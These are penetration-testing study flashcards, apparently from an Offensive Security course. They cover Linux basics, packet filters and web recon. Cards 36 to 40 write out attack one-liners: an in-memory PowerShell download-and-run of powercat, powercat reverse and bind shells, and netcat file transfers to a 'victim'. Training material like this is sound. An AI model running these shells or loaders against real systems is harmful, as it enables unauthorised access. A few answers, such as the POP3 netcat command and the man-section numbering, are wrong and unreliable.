Introduction Flashcards

1
Q

What is the Linux directory for basic programs, and what are some example programs found there?

A
  • /bin

- ls, cd, cat

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

What is the Linux directory for system programs, and what are some example programs found there?

A
  • /sbin

- fdisk, mkfs, sysctl

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

What is the Linux directory for configuration files?

A

/etc

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

What is the Linux directory for applications, and what are some example programs found there?

A
  • /usr/bin

- apt, ncat, nmap

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

What is the Linux directory for application support and data files?

A

/usr/share

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

What are the 8 sections of ‘man’ pages?

A
  1. User commands
  2. Programming interfaces and kernel sys calls
  3. Programming interfaces to the C library
  4. Special files such as device nodes and drivers
  5. File formats
  6. Games and amusements such as screen-savers
    7, Misc
  7. System administration commands
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

How would you search the ‘man’ page for the ‘passwd’ command with a keyword search for ‘passwd’?

A

man -k passwd

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

What would be the regex command to search the ‘man’ page for ‘passwd’ command to match on the entire line and avoid sub-string matches?

A

man -k ‘^passwd$’

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

How would you search the File Formats section of the man page for the ‘passwd’ command?

A

man 5 passwd

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

What are the three commands to find files in Linux?

A
  • which
  • find
  • locate
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

What is the database used by the ‘locate’ command to search for files in Linux? How do you update this db?

A
  • locate.db

- sudo updatedb

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

How do you start SSH in Linux?

A

sudo systemctl start ssh

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

What does the ‘ss’ command do?

A
  • ‘ss’ = another utility to investigate sockets
  • used to dump socket statistics
  • allows showing information similar to netstat
  • it can display more TCP and state information than other tools
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

What does the command ‘ss -antlp’ do?

A
  • ‘a’ = all; displays both listening and non-listening sockets
  • ‘n’ = numeric; shows exact bandwidth values, not human-readable
  • ‘t’ = tcp sockets
  • ‘p’ = process; show process using the socket
  • ‘l’ = listening; display only listening sockets
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

What command would enable SSH to run at start?

A

sudo systemctl enable ssh

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

What command starts the Apache server?

A

sudo systemctl start apache2

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q

What command displays a list of all available services?

A

systemctl list-unit-files

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
18
Q

What command completely removes the package pure-ftpd from Linux?

A

sudo apt remove –purge pure-ftpd

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
19
Q

What is PATH?

A
  • a colon-separated list of directory paths that Bash will search through whenever a command is run without a full path
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
20
Q

How do you display the contents of the PATH environment variable?

A

echo $PATH

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
21
Q

How would you place the IP address 10.11.1.220 into an environment variable?

A

export b=10.11.1.220

22
Q

How do you display all current environment variables?

A

env

23
Q

How would you rerun a command that is labeled as 1239?

A

!1239

24
Q

How would you paste “Add this text” to the existing file text.txt?

A

echo “Add this text”&raquo_space; text.txt

25
Q

How would you redirect the contents of the file ‘test.txt’ to count the number of words?

A

wc -w < test.txt

26
Q

What is the file descriptor for STDIN?

A

0

27
Q

What is the file descriptor for STDOUT?

A

1

28
Q

What is the file descriptor for STDERR?

A

2

29
Q

How would you redirect error messages from displaying when running a command?

A

2>/dev/null

30
Q

How would you compare the differences between a.txt and b.txt with vim?

A

vimdiff a.txt b.txt

31
Q

What command displays all processes with the full format listing?

A

ps -ef

32
Q

How would you display the process for the program ‘tmux’?

A

ps -fC tmux

33
Q

What command allows you to monitor the log files for the Apache server?

A

sudo tail -f /var/log/apache2/access.log

34
Q

What command would you use transfer a file https://www.offensive-security.com/reports/penetration-testing-sample-report-2013.pdf and rename the file report.pdf

A

axel -a -n 20 -o report.pdf https://www.offensive-security.com/reports/penetration-testing-sample-report-2013.pdf

35
Q

How would you connect to a POP3 server at 10.11.0.22 using Netcat?

A

nc -nlvp 10.11.0.22 110

36
Q

How would you transfer a file ‘wget.exe’ from the attacking machine, to a victim machine as a file named ‘incoming.exe’?

A

(victim) nc -nlvp 4444 > incoming.exe

(attack) nc -nv 10.11.0.22 4444 < wget.exe

37
Q

How would you download Powercat.ps1 onto a victim machine with PowerShell?

A

c:> iex(New-Object System.Net.Webclient). DownloadString (‘https://raw.githubusercontent.com/ besimorhino/powercat/master/powercat.ps1’)

38
Q

How would you transfer a file from a Windows (victim) machine to a Linux (attacking) machine?

A
  1. kali:~$ sudo nc -nlvp 443 > receiving_powercat.ps1

2. C:> powercat -c 10.11.0.4 -p 443 -i C:\Users\ Offsec\powercat.ps1

39
Q

Powercat reverse shell?

A

(attacking) sudo nc -nlvp 443

(victim) powercat -c 10.11.0.4 -p 443 -e cmd.exe

40
Q

Powercat bind shell?

A

(victim) powercat -l -p 443 -e cmd.exe

(attacking) nc 10.11.0.22 443

41
Q

What Wireshark filter allows you to only look at traffic on the 10.11.1.0/24 subnet?

A

net 10.11.1.0/24

42
Q

What Wireshark filter allows you to only look at FTP traffic?

A

tcp.port == 21

43
Q

How would you use Linux to view the contents of the pcap file password_cracking_filtered.pcap?

A

sudo tcpdump -r password_cracking_filtered.pcap

44
Q

How would you use Linux to view the contents of the pcap file password_cracking_filtered.pcap, and filter on the source host 172.16.40.10?

A

sudo tcpdump -n src host 172.16.40.10 -r password_cracking_filtered.pcap

45
Q

How would you download the index page of the website www.megacorpone.com

A

wget www.megacorpone.com

46
Q

What command would you use to extract all lines that contain “href=” in the index.html file?

A

grep “href=” index.html

47
Q

What command would you use to extract all lines that contain “href=” in the index.html file, and grab lines that only contain “.megacorpone”, and strip away lines that contain “www.megacorpone.com”?

A

grep “href=” index.html | grep “.megacorpone” | grep -v “www.megacorpone.com”

48
Q

What command would you use to extract all lines that contain “href=” in the index.html file, and grab lines that only contain “.megacorpone”, and strip away lines that contain “www.megacorpone.com”, and print everything after “http://”?

A

grep “href=” index.html | grep “.megacorpone” | grep -v “www.megacorpone.com” | awk -F “http://” ‘{print $2}’

49
Q

What command would you use to extract all lines that contain “href=” in the index.html file, and grab lines that only contain “.megacorpone”, and strip away lines that contain “www.megacorpone.com”, and print everything after “http://” and before the first ‘/’?

A

grep “href=” index.html | grep “.megacorpone” | grep -v “www.megacorpone.com” | awk -F “http://” ‘{print $2}’ | cut -d ‘/’ -f 1

50
Q

Using regex, how would you carve out “.megacorpone.com” subdomains from the file index.html, and list only unique entries?

A

grep -o ‘[^/]*.megacorpone.com’ index.html | sort -u

51
Q

What is a bash one-liner that will take a list of URLs in a file named ‘list.txt’, and provide the corresponding IP address?

A

for url in $(cat list.txt); do host $url; done